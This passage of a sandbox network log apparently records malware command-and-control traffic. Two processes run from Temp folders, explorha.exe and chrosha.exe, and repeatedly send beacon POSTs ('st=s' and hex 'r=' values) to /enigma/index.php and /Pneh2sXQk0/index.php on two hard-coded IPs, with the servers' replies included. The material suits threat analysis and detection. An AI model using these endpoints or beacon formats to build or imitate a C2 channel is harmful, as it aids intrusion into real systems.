Apr 19, 2024 03:32:52.051920891 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:52.301539898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.5	50476	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:52.288124084 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:52.533689976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.5	50477	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:52.660840034 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:52.905416965 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.5	50478	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:52.789391041 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:53.045710087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.5	50479	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:53.155658960 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:53.404165983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.5	50480	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:53.395032883 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:53.637655973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.5	50481	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:53.756688118 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:54.003565073 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.5	50482	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:53.887229919 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:54.136677980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.5	50483	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:54.251106024 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:54.495412111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.5	50484	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:54.488867044 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:54.730545044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.5	50485	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:54.844367981 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:55.083471060 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.5	50486	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:54.979707956 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:55.228744030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.5	50487	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:55.334659100 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:55.589148045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.5	50488	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:55.581634045 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:55.826241016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.5	50489	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:55.941291094 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:56.184322119 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.5	50490	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:56.080595016 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:56.336293936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.5	50491	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:56.437865973 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:56.691598892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.5	50492	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:56.697947979 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:56.948544979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.5	50493	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:57.051670074 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:57.295495987 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.5	50494	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:57.199286938 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:57.450211048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.5	50495	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:57.545366049 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:57.794579029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.5	50496	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:57.807547092 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:58.056586027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.5	50497	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:58.149172068 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:58.394083023 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.5	50498	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
